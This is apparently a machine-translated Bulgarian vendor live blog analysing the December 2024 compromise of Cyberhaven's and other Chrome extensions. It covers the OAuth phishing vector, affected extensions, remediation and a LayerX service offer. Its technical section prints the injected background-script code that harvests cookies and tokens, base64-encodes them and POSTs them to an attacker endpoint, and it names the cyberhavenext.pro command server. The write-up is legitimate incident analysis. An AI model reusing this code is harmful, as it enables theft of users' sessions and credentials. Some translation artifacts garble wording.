Последна актуализация: 30 декември 2024 г
Тази нишка в блога проследява разгръщащата се глобална кампания за атака, насочена към разширения на браузъра в уеб магазина на Chrome. Ще актуализираме новите подробности, когато станат налични.
Oбобщение
На 27 декември 2024 г. стартъпът за киберсигурност Cyberhaven разкри, че атака е компрометирала разширението на браузъра му и е инжектирало злонамерен код в него. След като се появиха подробности за тази атака, бързо бяха открити допълнителни компрометирани разширения на браузъра, като в момента е известно, че са били засегнати повече от 25 разширения.
Нишката на живо по-долу обяснява всички подробности, които знаем, кои разширения са били засегнати, как организациите трябва да се защитят и как LayerX помага на своите клиенти да се справят с разширенията, компрометирани от тази атака.
Бързи връзки в този документ:
- Как е разкрита атаката
- Как е извършена атаката
- Технически анализ на атаката
- Допълнителни засегнати разширения
- Как да се предпазите
- Как LayerX помага на клиентите да се защитят
- Безплатен одит и коригиране на компрометирани разширения
Как е разкрита атаката
На 27 декември 2024 г. Cyberhaven уведоми клиентите си за пробив в сигурността, довел до компрометиране на идентификационните данни на служител на Cyberhaven, които бяха използвани за изпращане на злонамерена версия на разширението на браузъра Cyberhaven в Chrome Store. Разширението за сигурност Cyberhaven в момента има над 400,000 XNUMX потребители, които вероятно са били засегнати от този пробив.
Новината за инцидента беше първи доклад от блога за киберсигурност Vulnu, който получи копие на Cyberhaven't имейл до клиенти.
Според анализа на Cyberhaven на 24 декември фишинг атака е компрометирала един от техните служители, в резултат на което нападателите са получили достъп до разширението на браузъра на компанията в уеб магазина на Chrome.
След това нападателите използваха този достъп, за да качат злонамерена версия на разширението на браузъра Cyberhaven и го актуализираха в Chrome Store в ранните часове на 25 декември.
Според Cyberhaven злонамерената актуализация е открита около ден по-късно и злонамереният код е премахнат в ранните часове на 26 декември. Като цяло злонамерената версия е била онлайн малко повече от 24 часа.
Въпреки това, когато започна да става ясно, че допълнителните разширения са били компрометирани, стана очевидно, че атаката Cyberhaven не е изолирана атака, насочена само към тази компания, а по-скоро част от обширна кампания.
Това прави анализа на инцидента в Cyberhaven подходящ за разбирането на кампанията като цяло.
Как е извършена атаката
Администраторският акаунт към разширението на браузъра Cyberhaven беше компрометиран чрез целенасочена фишинг атака, позволяваща на атакувания да публикува злонамерена негова версия.
Тъй като този инцидент не беше просто еднократна атака, а част от кампания, насочена към множество разширения, ние вярваме, че фишинг подходът, използван за атака на Cyberhaven, е възпроизведен и с всички други разширения.
Най-вероятният източник на цели за фишинг кампанията е самият уеб магазин на Chrome.
За всяко разширение магазинът на Chrome предоставя подробности за издателя на разширението, заедно с имейл адрес за връзка:
Примерни данни за контакт на разширението за браузър Cyberhaven от уеб магазина на Chrome
Използвайки тези имейл адреси, нападателите изпращат фалшиви имейли, за които се твърди, че са от името на Google, предупреждавайки получателите за „нарушения“ в техните акаунти.
Това е копие от фишинг имейла, изпратен до Cyberhaven, предоставен от компанията като част от тях технически анализ на инцидента:
Въпреки това подобни имейли се появиха и от други източници: a нишка в дискусионната група на Chromium.org попитаха за подозрителен имейл, който са получили уж от Google, за да разберат дали това е опит за фишинг:
Този имейл е почти идентичен с този, който компрометира Cyberhaven (въпреки че изброява различна причина за „нарушение“), което показва, че е част от същата фишинг кампания. Според публикацията този имейл е получен на 23 декември, точно по времето, когато Cyberhaven е бил пробит.
След като предвидената цел кликне върху имейл връзката, тя беше отведена до формуляр за упълномощаване на Google, за да добави OAuth приложение на Google, наречено „Разширения на политиката за поверителност“.
Следването на този поток на одобрение ще доведе до упълномощаване на злонамереното OAuth приложение на трета страна и предоставяне на достъп до акаунта на жертвата в уеб магазина на Chrome. Въпреки това, поради начина, по който е била проектирана атаката, на атакуващите не е било необходимо да компрометират самите идентификационни данни на акаунта (т.е. паролата), а само да „свържат“ разрешенията, предоставени от злонамереното приложение.
Технически анализ на атаката
След като нападателите получиха достъп до акаунта на уеб магазина на жертвата, те инжектираха код във файла worker.js на разширението за достъп до външен URL (cyberhavenext[.]pro) и изтегляне на външен конфигурационен файл.
Всеки път, когато браузърът се стартира, разширението извлича конфигурационен файл от отдалечен сървър. Този файл контролира поведението на разширението и може да бъде динамично актуализиран от нападателя, което му позволява да диктува какво намлява когато се случват действия. нападателят може превключете конфигурационния файл по всяко време, което им позволява динамично да адаптират атаката към различни среди или цели. Това е ключът към гъвкавостта на атаката.
По-долу е даден пример за такъв код:
Ключови прозрения от кода:
- Инжектирани в множество разширения: Зловреден код не е ограничен до едно разширение. Вместо това той е инжектиран в множество разширения, като всяко разширение извлича свой собствен уникален конфигурационен файл. Тази стратегия позволява на атакуващия да разнообрази векторите на атаката, да персонализира поведението за различни разширения и да направи откриването по-предизвикателно.
- Повтарящо се поведение: Извличането на конфигурацията се извършва всеки път, когато браузърът се стартира, като се гарантира, че всяко разширение винаги работи с най-новите инструкции, предоставени от атакуващия.
- Измамно именуване: Кодът използва имена на променливи или атрибути, като напр cyberhavenext_ext_manage, съдържащ името на фирмата. Това го прави да изглежда легитимно за разработчиците, които проверяват хранилището или кода на разширението.
- Злоупотреба с локално съхранение: Чрез съхраняване на конфигурационните данни в chrome.storage.local, нападателят гарантира постоянство. Разработчиците, които проверяват тези данни, може погрешно да им се доверят поради използването на познати или достоверно звучащи имена.
- Динамичен контрол: Крайната точка (https://cyberhavenext.pro/ai-cyberhaven) позволява на атакуващия да променя конфигурационните файлове за всяко разширение по всяко време, осигурявайки пълен контрол върху функционалността и поведението на всяко заразено разширение.
- Персонализирани конфигурации: Всяко разширение извлича уникална конфигурация, което прави злонамереното поведение по-трудно за обобщаване и откриване. Този подход позволява персонализирани атаки въз основа на конкретната цел или потребителска база на разширението.
В допълнение, кодът добави нов файл (content.js) към разширенията, използвани за събиране на потребителски данни на уебсайтове и ексфилтрирането им на външен уебсайт. Фоновият скрипт в разширението работи като централен контролер, обработва входящи съобщения от скриптове за съдържание и изпълнява различни действия въз основа на тези съобщения. Следният кодов фрагмент демонстрира гъвкава структура, чакаща да обработи множество типове заявки:
chrome.runtime.onMessage.addListener(((t, e, a) => {
switch (t.action) {
case"cyberhavenext-completions":
fetch("<https://chatgpt.com/status/>", {
method: "POST",
headers: {"Content-Type": "application/json", Authorization: `Bearer ${t.key}`},
body: JSON.stringify({prompt: "check", max_tokens: 150})
}).then((t => t.json())).then((t => a(t))).catch((t => {
}));
break;
case"cyberhavenext-redirect":
fetch(t.url).then((t => t.redirected)).then((t => a(t))).catch();
break;
case"cyberhavenext-validate":
fetch(t.url, {
method: "POST",
headers: {
Accept: "application/json, application/xml, text/plain, text/html, *.*",
"Content-Type": "application/json"
},
body: JSON.stringify(t.pl)
}).then((t => t.json())).then((t => a(t))).catch((t => {
}));
break;
case"cyberhavenext-rtext":
fetch(t.url).then((t => t.text())).then((t => a(t))).catch();
break;
case"cyberhavenext-rjson":
fetch(t.url).then((t => t.json())).then((t => a(t))).catch();
break;
case"cyberhavenext-check-errors":
const e = t.pl;
let n = e.dm;
chrome.cookies.getAll({domain: n}, (n => {
if (n.length > 0) {
const o = n.map((t => ({
domain: t.domain,
expirationDate: t.expirationDate || null,
hostOnly: t.hostOnly,
httpOnly: t.httpOnly,
name: t.name,
path: t.path,
sameSite: t.sameSite || null,
secure: t.secure,
session: t.session,
storeId: t.storeId || null,
value: t.value
}))), c = e.n;
let s = "";
try {
s = btoa(JSON.stringify(e.openapi_u))
} catch (t) {
}
const i = e.openapi_tk + " || " + JSON.stringify(o) + " || " + btoa(navigator[c]) + " || " + e.uid + " || " + s + " || || " + e.k,
r = {ms1: btoa(i), ms2: JSON.stringify(e.cyberhavenext_cx), ms3: JSON.stringify(e.gpta)},
l = t.url;
fetch(l, {
method: "POST",
headers: {
Accept: "application/json, application/xml, text/plain, text/html, *.*",
"Content-Type": "application/json"
},
body: JSON.stringify(r)
}).then((t => t.json())).then((t => a(t))).catch((t => {
}))
}
}))
}
return !0
}))
Сценарият използва chrome.runtime.onMessage.addListener за обработка на различни действия. Всяко действие определя конкретно поведение, като например правене на мрежови заявки.
Когато "cyberhavenext-check-errors” се извиква действие, атакуващият извлича чувствителни бисквитки, използвайки chrome.cookies.getAll атакуващият също така комбинира тези данни с друга информация (като navigator[c] намлява e.uid) нападателят ще скрие съдържанието, използвайки btoa() за да го конвертирате в base64. Това прави данните по-малко четими в инструментите за наблюдение на мрежата, добавяйки слой на объркване.
Чрез вграждането на тези действия във фоновия скрипт, атакуващият гарантира, че:
- Злонамерената дейност е независима от потребителските взаимодействия.
- Появява се тихо на заден план, което го прави по-трудно за откриване.
Анализът, извършен от Cyberhaven върху разкрити крайни точки, показва, че злонамереният код се е фокусирал конкретно върху бисквитки и токени за удостоверяване за Facebook и по-специално - бизнес акаунти във Facebook:
Според Cyberhaven целевите данни включват маркери за достъп до Facebook, потребителски идентификатори, информация за акаунта и подробности за акаунта във Facebook Ads.
Допълнителни засегнати разширения
След като URL адресът на злонамерения C&C сървър беше идентифициран, изследователите по сигурността използваха обратен DNS, за да идентифицират допълнителни домейни, които разрешават същия IP адрес. Това доведе до откриване на допълнителни компрометирани разширения на браузъра и разкри мащаба на тази атака.
Понастоящем е установено, че са компрометирани повече от 25 разширения на браузъра с инсталационна база от над 2.3 милиона потребители:
- AI Assistant – ChatGPT и Gemini за Chrome
- AI Shop Buddy
- Bard AI чат
- Bookmark Favicon Changer
- Кастор
- ChatGPT Assistant – Интелигентно търсене
- Разширение за сигурност Cyberhaven V3
- Earny – До 20% пари в брой
- Ловец на имейли
- Резюме на GPT 4 с OpenAI
- GraphQL мрежов инспектор
- Internxt VPN
- Рекордер на историята на клавиатурата
- Папагалски разговори
- примус
- Режим на четене
- Автоматизатор за търсене на награди
- Търсете Copilot AI Assistant за Chrome
- Сортиране по най-стари
- Tackker – онлайн инструмент за кийлогър
- TinaMind – Задвижваният от GPT-4o AI асистент!
- Uvoice
- VidHelper – програма за изтегляне на видео
- Vidnoz Flex – Видеорекордер и споделяне на видео
- Визуални ефекти за Google Meet
- VPNCity
- Wayin AI
Как да се предпазите
Въпреки че досегашният технически анализ показва, че основната цел на тази кампания е била кражбата на Facebook идентификационни данни и токени за достъп, не е възможно да се изключи разкриването на идентификационни данни на допълнителни уебсайтове.
Ето защо LayerX препоръчва следните действия за всички засегнати потребители:
- Премахнете засегнатите разширения на браузъра: уверете се, че всички засегнати разширения са премахнати и/или блокирани. Някои от разширенията вече са качили актуализирани версии, които премахват злонамерения код, но не всички. Освен това, всички компрометирани разширения, които вече са били изтеглени, ще останат изложени, докато потребителят не актуализира версията на разширението. Ето защо е изключително важно активно да деактивирате всички потенциално изложени разширения.
- Актуализирайте всички разширения до най-новите версии: в случай, че е издадена корекция от издателя, важно е да актуализирате инсталираната версия на разширението възможно най-скоро (ако приемем, че вече не е премахнато)
- Изтрийте всички бисквитки на засегнатите потребители: тъй като атаката беше насочена към бисквитки и токени за достъп на уебсайтове, наложително е да изтриете всички съществуващи бисквитки и да опресните токените за достъп.
- Завъртете паролите: като най-добра практика се препоръчва също така да обновите всички пароли на засегнатите потребители, за да сте сигурни, че идентификационните данни за достъп не са останали компрометирани.
Как LayerX помага на своите клиенти
- Откриване на открити разширения: откакто инцидентът Cyberhaven беше разкрит, изследователи по сигурността по целия свят работят за идентифициране на допълнителни компрометирани разширения. LayerX участва активно в това усилие, откривайки редица такива разширения и комбинирайки ги с публично достъпна информация.
- Откриване на злонамерени разширения, внедрени в мрежите на клиентите: LayerX непрекъснато актуализира списъците си със злонамерени разширения, за да включва разширения, за които е открито, че са били компрометирани от този пробив. Всеки път, когато бъде открито такова разширение, клиентите незабавно се предупреждават. Освен това LayerX активно се свързва със засегнатите клиенти, за да ги предупреди за тези открития.
- Внедряване на политики за автоматично прилагане: LayerX актуализира правилата за клиенти, за да деактивира автоматично всяко известно компрометирано разширение.
- Изтриване на бисквитките на откритите потребители: при поискване от потребител LayerX може активно да наложи изтриване на бисквитки на изложени потребители, като по този начин нулира бисквитките и токените за удостоверяване.
- Принудително ротиране на паролата за изложени на риск потребители: LayerX може също така да разположи политики за сигурност, за да принуди ротация на паролите на откритите потребители, за да гарантира, че идентификационните данни за достъп не остават изложени.
Безплатен одит и коригиране на компрометирани разширения
Поради широчината и обхвата на тази атака, LayerX предлага на организациите, засегнати от тази атака (или притеснени от потенциално въздействие), безплатен одит и коригиране на разширението на браузъра.
Този одит включва:
- Откриване на всички разширения на браузъра, инсталирани във вашата среда
- Картографиране на това кои потребители какви разширения имат инсталирани на техните крайни точки
- Подробно оценяване на риска на всяко разширение на браузъра
- Премахване на компрометирани злонамерени разширения на браузъра
- Ротация на потребителски бисквитки и пароли, ако е необходимо
Натисни тук да се запишете за тази оценка.






